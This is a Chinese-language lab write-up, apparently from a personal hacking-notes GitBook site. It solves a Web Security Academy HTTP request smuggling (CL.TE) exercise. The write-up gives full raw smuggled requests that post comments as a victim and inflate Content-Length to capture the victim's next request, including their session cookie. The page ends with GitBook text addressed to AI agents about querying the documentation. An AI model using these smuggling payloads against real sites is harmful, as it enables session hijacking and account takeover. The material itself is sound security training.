> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/capture-queries-from-other-users.md).

# 捕获其他用户的查询

### 利用 HTTP 请求走私捕获其他用户的请求

实验室正在设置前端服务器和后端服务器。前端 **不支持分块编码**. / 目标是 **走私** 将一个请求发送到后端，使得 **下一个用户请求** 是 **由应用程序存储的**. / 然后， **恢复这个请求** 并使用 **受害者的 Cookie** 访问他的账户。

实验室模拟了一名受害者用户：在发送这几个 POST 请求时，受害者会执行他自己的请求。/ 有时需要重复攻击多次。

> 尽管实验室允许 HTTP/2，但解决方案必须使用 **HTTP/1** 因为某些技术只在该协议中可行。" " 前端会解析 **Content-Length**，而后端会将 **Transfer-Encoding: chunked**视为不同内容，从而造成可利用的偏移。" " Burp 扩展 HTTP Request Smuggler 可以帮助手动修正长度。

#### 1. **前端解析的请求**

前端读取 `Content-Length: 13`，然后还会看到 `Transfer-Encoding: chunked`:

```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

postId=6
```

在分块结束后（`0`），会额外添加一个后端请求。

<figure><img src="/files/7c2f1b20ddcf21b03d243504846251e8f61e9735" alt=""><figcaption></figcaption></figure>

#### 2. **注入一个用于发布评论的 POST 请求**

你构造一个走私请求，其中包含第二个完整请求：

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked

0

postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

结果：/ 被走私的请求会被当作来自你自己的会话来处理，应用程序会发布该评论。

<figure><img src="/files/11b35edfd2cff5952f9a46a4b7a7debda4fd8098" alt=""><figcaption></figcaption></figure>

#### 3. **强制受害者发布评论**

你将请求体修改为：

{% code overflow="wrap" %}

```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

{% endcode %}

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

并发送类似的请求。/ 重新加载后，应用程序显示 **感谢你的评论**，这表明受害者发布了这条评论。

<figure><img src="/files/72193ca3473c07502d3bebdae1ae84c63b6281a0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f5467a043facb3f2f3fbf38faa08fac4d22369e8" alt=""><figcaption></figcaption></figure>

#### 4. **准备捕获受害者的请求**

为了捕获受害者用户的整个请求，你大幅增加 `Content-Length` 这样后端就会把下面的请求作为内容来处理：

```http
Content-Length: 1000

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```

随后，受害者发送的下一个请求会被吸收到预期的请求体中……/ 并变成 **可在应用程序存储中查询**.

<figure><img src="/files/a161912d20f9f4a9d5fecbb8b508dd1459c31d39" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/capture-queries-from-other-users.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
